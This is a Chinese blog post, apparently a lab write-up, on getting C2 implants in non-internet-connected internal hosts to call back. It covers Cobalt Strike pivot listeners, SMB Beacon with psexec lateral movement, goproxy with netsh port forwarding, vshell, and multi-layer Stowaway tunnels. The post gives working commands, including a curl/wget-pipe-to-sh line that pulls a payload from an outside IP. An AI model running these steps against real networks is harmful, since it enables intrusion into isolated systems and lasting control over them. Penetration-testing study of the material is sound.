不出网环境各种上线技术

各种上线

拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

拓扑大致如下:

image-20251202205816315

先使用http Beacon创建监听器,上线Web服务器:

image-20251201145201946image-20251201144945753

CS上线

方法一:代理转发-转发上线(反向连接)

注:反向连接需要考虑防火墙放行端口问题

1.配置 Socks 代理

配置 Socks 代理,右击上线的Web服务器会话选择:代理转发 - Socks 代理

# 通过命令启动
socks 8888

# 关闭 Socks 代理
socks stop
image-20251201153248975

2.在 Kali 主机上利用 proxychains4 配合 Socks 代理通信

# 配置 proxychains4
vim /etc/proxychains4.conf
socks4  127.0.0.1 8888

# nmap 走 socks4 代理(测试)
proxychains nmap -Pn -sT -p3389 目标内网主机ip
image-20251201154320897

3.选择已控制的 Web服务器 会话,右击选择:代理转发-转发上线(Listener),这里的转发监听器就相当于 Web服务器 作为一个代理,将流量转发至外网。

image-20251201150435792

2.生成可执行(s)后门,监听器选择刚刚创建的转发监听器

image-20251201150544007

3.将后门上传至内网主机,运行即可上线

image-20251201160112099

方法二:代理转发-转发监听器(正向代理)

1.新建监听器:r_forward_tcp

image-20251201161326135

2.生成可执行(s)后门,监听器选择转发监听器

image-20251201161546776

3.将生成的Payload复制到内网PC,并执行

4.在Win10交互会话上输入以下命令,用于监听反弹会话:

connect 192.168.41.10 4433
  • :外网Web服务器防火墙上要放行4433端口
image-20251201162008547

5.成功上线内网PC

image-20251201162141227

方法三:通过SMB Beacon

原理与要求

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送,因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

SMB Beacon的使用条件如下:

  • 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 利用这种beacon横移必须有目标主机的管理员组的权限或者说是拥有具有管理员组权限的凭据,因为主要是使用psexec进行登录。

演示

PS:此Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线(或在Beacon中使用命令spawn smb):

image-20251202204731394

使用插件,或自带的端口扫描,扫描内网机器:

image-20251202204808208image-20251202205123894

转到视图,选择内网目标:

image-20251202205501041

使用psexec:

image-20251202205854740

即可上线:

image-20251202210412699

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,可以在Beacon上用link 命令链接它或者unlink 命令断开它:

image-20251202210855479

方法四:HTTP代理+端口转发

中转机器不需要上线即可。

使用 goproxy 项目做代理

边缘主机操作:

1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.41.137 的822端口(必须为未使用的端口,否则会失败)的流量转发到外网ip 192.168.120.144 的8080端口

netsh interface portproxy add v4tov4 listenaddress=192.168.41.137 listenport=822 connectaddress=192.168.120.144 connectport=8080

3.创建listener,配置如下:

image-20251202223422171

4.生成stagelesspayload,在业务服务器上执行,即可上线

连接过程:

192.168.111.236  → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)

vshell上线

环境如下:

image-20251204161443658

由于目标不出网,所以以攻击机作为跳板,将目标流量带出,流量路径:vps(vshell) → 攻击机→初始目标

登录vshell,创建监听:

image-20251204115214062

使用上线命令将攻击机上线vshell:

(curl -fsSL -m180 http://120.46.31.18:8084/slt||wget -T180 -q http://120.46.31.18:8084/slt)|sh

image-20251204115239585

生成监听客户端(目标是32位使用i386):

image-20251204125242677

将前面生成的客户端上传至目标,并运行:

image-20251204125225277

创建socks5隧道:

image-20251204125636160

创建正向代理连接客户端:

image-20251204125849500 image-20251204125150434

Stowaway上线

工具说明

角色 : [Stowaway](https://k0u1g.cn/CyberSec/0x06 内网穿透/Stowaway.html) 一共包含两种角色,分别是:

  • admin : 渗透测试者使用的主控端

  • agent : 渗透测试者部署的被控端

通过以下命令可以快速启动最简单的stowaway实例:

# admin:
./stowaway_admin -l 9999
# agent
./stowaway_agent -c <stowaway_admin's IP>:9999

两层网络实操

网络架构

image-20251204204929641

实操示例

一层上线

1.kali作为admin(服务端)开启监听,可以设置密钥:

./admin -l 6666 -s ginkgo
image-20251204205419731

2.将agent(客户端)连接到admin:

.\agent.exe -c <kali_ip>:6666 -s ginkgo
image-20251204205951540

可以看到kali这边也收到了监听:

image-20251204210412792

修改proxychain4配置文件,使socks通信可以被其他工具利用:

# 在/etc/proxychains4.conf最后新增
socks4 127.0.0.1 1080
image-20251204211300478
二层上线

1.在kali上进入入口机节点/会话,并启动被动监听模式:

image-20251204213113326

可以看到入口机(web服务器)建立了7000端口的监听:

image-20251204213943688

2.将agent上传到二层内网DC主机上,然后连接到web服务器7000端口:

./agent.exe -c <Web服务器内网ip>:7000 -s ginkgo
image-20251204214036471

执行后,kali成功连接到了新节点,选择该节点并创建socks代理:

image-20251204214226218

然后修改proxychains4配置文件,新增一个代理路径即可使其他工具连接到不出网主机DC:

image-20251204214412869
推广到多层

后续不管多少层网络,通过一样的方法进行向下嵌套即可在各层网络主机建立节点掌握整个网络。

posted @ 2025-12-04 21:47  shinianyunyan  阅读(0)  评论(0)    收藏  举报